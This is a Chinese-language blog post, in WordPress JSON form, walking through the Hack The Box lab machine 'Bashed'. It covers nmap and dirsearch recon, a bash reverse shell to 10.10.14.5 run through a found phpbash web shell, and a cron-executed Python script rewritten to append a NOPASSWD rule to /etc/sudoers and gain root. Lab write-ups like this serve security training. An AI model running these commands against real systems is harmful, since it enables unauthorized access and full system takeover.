{"id":96,"date":"2024-11-13T09:08:21","date_gmt":"2024-11-13T01:08:21","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=96"},"modified":"2024-11-13T09:52:09","modified_gmt":"2024-11-13T01:52:09","slug":"htb_machine_bashed","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_bashed\/","title":{"rendered":"HTB\u9776\u673a Bashed \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.68<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fattacker)-[\/home\/\u2026\/Documents\/vulnhub_notes\/bashed\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.68\nPING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.\n64 bytes from 10.10.10.68: icmp_seq=1 ttl=63 time=301 ms\n64 bytes from 10.10.10.68: icmp_seq=2 ttl=63 time=307 ms\n64 bytes from 10.10.10.68: icmp_seq=4 ttl=63 time=342 ms\n\n--- 10.10.10.68 ping statistics ---\n4 packets transmitted, 3 received, 25% packet loss, time 3026ms\nrtt min\/avg\/max\/mdev = 300.682\/316.491\/341.730\/18.035 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u7684\u7f51\u7edc\u8fde\u63a5\u7a0d\u5dee\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jun  7 20:39:07 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.68\nNmap scan report for 10.10.10.68 (10.10.10.68)\nHost is up (0.31s latency).\nNot shown: 65534 closed tcp ports (reset)\nPORT   STATE         SERVICE\n80\/tcp open|filtered http\n\n# Nmap done at Fri Jun  7 20:39:49 2024 -- 1 IP address (1 host up) scanned in 41.74 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>1<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jun  7 20:44:12 2024 as: nmap -sS -sV -A -p 80 -oN .\/tcp_result.txt 10.10.10.68\nNmap scan report for 10.10.10.68 (10.10.10.68)\nHost is up (0.32s latency).\n\nPORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Arrexel's Development Site\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.4 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   314.43 ms 10.10.14.1 (10.10.14.1)\n2   314.45 ms 10.10.10.68 (10.10.10.68)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri Jun  7 20:44:35 2024 -- 1 IP address (1 host up) scanned in 23.88 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jun  7 20:45:22 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.68\nWarning: 10.10.10.68 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.68 (10.10.10.68)\nHost is up (0.31s latency).\nAll 65535 scanned ports on 10.10.10.68 (10.10.10.68) are in ignored states.\nNot shown: 65170 open|filtered udp ports (no-response), 365 closed udp ports (port-unreach)\n\n# Nmap done at Fri Jun  7 20:51:25 2024 -- 1 IP address (1 host up) scanned in 362.86 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u5185\u6838\u7248\u672c\u5927\u81f4\u4e3a<code>Linux 3.12<\/code>\u3002<\/p>\n<hr \/>\n<h1>Web\u670d\u52a1\u63a2\u6d4b<\/h1>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/10.10.10.68\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717892587689-7ebfb264-ad8b-4414-af9e-f0e54cd5ffd7.jpeg\" alt=\"\" \/><\/p>\n<p>\u7f51\u9875\u63d0\u793a\u5728\u9776\u673a<code>Web<\/code>\u670d\u52a1\u4e0a\u90e8\u7f72\u4e86<code>PHPBash<\/code>\u540e\u95e8\u3002<\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Fri Jun  7 20:57:15 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.68\/ -x 400,403,404 -t 60 -e php,js,html,txt,zip,tar.gz,pcap\n\n301   308B   http:\/\/10.10.10.68\/php    -&gt; REDIRECTS TO: http:\/\/10.10.10.68\/php\/\n301   307B   http:\/\/10.10.10.68\/js    -&gt; REDIRECTS TO: http:\/\/10.10.10.68\/js\/\n200     2KB  http:\/\/10.10.10.68\/about.html\n200     0B   http:\/\/10.10.10.68\/config.php\n200     2KB  http:\/\/10.10.10.68\/contact.html\n301   308B   http:\/\/10.10.10.68\/css    -&gt; REDIRECTS TO: http:\/\/10.10.10.68\/css\/\n301   308B   http:\/\/10.10.10.68\/dev    -&gt; REDIRECTS TO: http:\/\/10.10.10.68\/dev\/\n200   479B   http:\/\/10.10.10.68\/dev\/\n301   310B   http:\/\/10.10.10.68\/fonts    -&gt; REDIRECTS TO: http:\/\/10.10.10.68\/fonts\/\n301   311B   http:\/\/10.10.10.68\/images    -&gt; REDIRECTS TO: http:\/\/10.10.10.68\/images\/\n200   513B   http:\/\/10.10.10.68\/images\/\n200   660B   http:\/\/10.10.10.68\/js\/\n200   454B   http:\/\/10.10.10.68\/php\/\n301   312B   http:\/\/10.10.10.68\/uploads    -&gt; REDIRECTS TO: http:\/\/10.10.10.68\/uploads\/\n200    14B   http:\/\/10.10.10.68\/uploads\/<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8bbf\u95ee<code>\/dev<\/code>\u76ee\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717892796654-a6357faf-4a6a-48a1-9564-50c96a6c1a1e.jpeg\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\u53d1\u73b0\u4e86<\/strong><code>**PHPBash**<\/code><strong>\u540e\u95e8\u7684\u4f4d\u7f6e\uff1a<\/strong><code>**http:\/\/10.10.10.68\/dev\/phpbash.php**<\/code><strong>\u3002<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717892919853-b49caf02-ace3-49bc-a403-ac34935365b2.jpeg\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>BurpSuite<\/code>\u8bbf\u95ee\u540e\u95e8\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u53cd\u5f39<code>Shell<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.5\/443 0&gt;&amp;1'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717893376655-3c2e6abb-a9a7-4393-8e2a-0d73bccd6ede.jpeg\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u63d0\u6743\u81f3<code>scriptmanager<\/code>\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>sudo -l<\/code>\u547d\u4ee4\u67e5\u770b<code>www-data<\/code>\u7528\u6237\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717893897961-f316cf42-287b-41ac-bf6e-e51c2695f12d.jpeg\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5\u4ee5<code>scriptmanager<\/code>\u7528\u6237\u8eab\u4efd\u514d\u5bc6\u8fd0\u884c\u6240\u6709\u547d\u4ee4\u3002\u76f4\u63a5\u5207\u6362\u5230\u8be5\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-bash\">sudo -u scriptmanager \/bin\/bash<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717894133502-36ff02a8-0bed-44ee-b114-2ee9bc8ae83e.jpeg\" alt=\"\" \/><\/p>\n<h2>\u5b9a\u65f6\u811a\u672c\u63d0\u6743<\/h2>\n<p>\u5728\u9776\u673a\u6839\u76ee\u5f55\u4e0b\u53d1\u73b0<code>script<\/code>\u76ee\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717894506851-f301f97d-3024-4b3a-91d3-89621c2ba468.jpeg\" alt=\"\" \/><\/p>\n<p><code>\/script<\/code>\u76ee\u5f55\u4e0b\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-shell\">scriptmanager@bashed:\/$ ls -lA \/scripts            ls -lA \/scripts\nls -lA \/scripts\ntotal 8\n-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017 test.py\n-rw-r--r-- 1 root          root          12 Jun  8 17:55 test.txt<\/code><\/pre>\n<p><code>\/scripts\/test.txt<\/code>\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-plain\">testing 123!<\/code><\/pre>\n<p><code>\/scripts\/test.py<\/code>\u4e3a<code>Python<\/code>\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-python\">f = open(\"test.txt\", \"w\")\nf.write(\"testing 123!\")\nf.close<\/code><\/pre>\n<p>\u6000\u7591\u8be5\u811a\u672c\u4e3a\u5b9a\u65f6\u6267\u884c\u811a\u672c\uff0c\u5c06\u5185\u5bb9\u4fee\u6539\u4e3a\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-python\">#! \/usr\/bin\/python3\nimport os\nif os.path.exists('\/scripts\/id.txt'):\n    exit(0)\nwith open('\/etc\/sudoers','a') as f:\n    f.write('%scriptmanager  ALL=(ALL:ALL)  NOPASSWD:ALL')\nos.system('id &gt; \/scripts\/id.txt')<\/code><\/pre>\n<p>\u7b49\u5f85\u51e0\u5206\u949f\u540e\u518d\u6b21\u67e5\u770b<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717895962790-ab958024-5a53-408d-afef-54bf3dae6aa9.jpeg\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong>\u76f4\u63a5\u4fee\u6539<code>root<\/code>\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">sudo passwd root<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/jpeg\/42816956\/1717896041383-69aeb5a2-a890-451a-b1d0-cdb599fcac4d.jpeg\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">9d3542e306c764bb207ab6e716b65f73<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.68 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fattacker)-[\/home\/\u2026\/Doc &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-96","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/96","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=96"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/96\/revisions"}],"predecessor-version":[{"id":97,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/96\/revisions\/97"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=96"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=96"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=96"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}